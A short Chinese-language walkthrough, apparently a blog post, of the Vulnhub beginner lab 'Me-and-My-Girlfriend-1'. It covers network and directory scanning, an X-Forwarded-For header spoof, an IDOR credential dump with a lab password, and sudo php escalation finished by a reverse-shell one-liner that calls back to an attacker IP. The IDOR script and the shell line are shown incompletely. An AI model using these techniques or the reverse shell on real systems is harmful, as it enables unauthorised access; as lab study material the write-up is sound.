前言
- Vulnhub刷题简单记录
Me-and-My-Girlfriend-1
描述
描述:这个虚拟机告诉我们有一对恋人,爱丽丝和鲍勃,这对夫妇原本非常浪漫,但自从爱丽丝在一家私人公司“Ceban Corp”工作后,爱丽丝对鲍勃的态度发生了一些变化是“隐藏的”,Bob 请求您帮助获取 Alice 隐藏的内容并获得对公司的完全访问权限!
难度级别:初学者
注意:有 2 个标志文件
学习:Web 应用程序 | 简单的提权
Me-and-My-Girlfriend-1开始
1、可以用两种方法确认靶场的存在,扫ip
1 | netdiscover -i eth0 -r 192.168.1.0/24 |
2、扫目标端口开发情况
1 | nmap -sV -sC -A 192.168.1.108 |
3、访问主页,根据提示说有一个password_resets,我们扫一下目录情况
1 | gobuster dir -u http://192.168.1.104/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 200 |
4、进入主页,发下必须改x-forwarded-for为本地地址,所以下个插件改为127.0.0.1来访问
5、注册之后,发现有平行越权获取用户的账号和密码,写个脚本跑一波
1 | # coding:utf-8 |
获取了密码
6、经典的爆破密码
1 | eweuhtandingan:skuyatuh |
7、登陆,拿flag
8、简单提权
1 | sudo -l发现php是可以无密码使用root权限 |
反弹root权限
1 | sudo /usr/bin/php -r '$sock=fsockopen("192.168.56.1",4444);exec("/bin/sh -i <&3 >&3 2>&3"); |
我的个人博客
孤桜懶契:http://gylq.gitee.io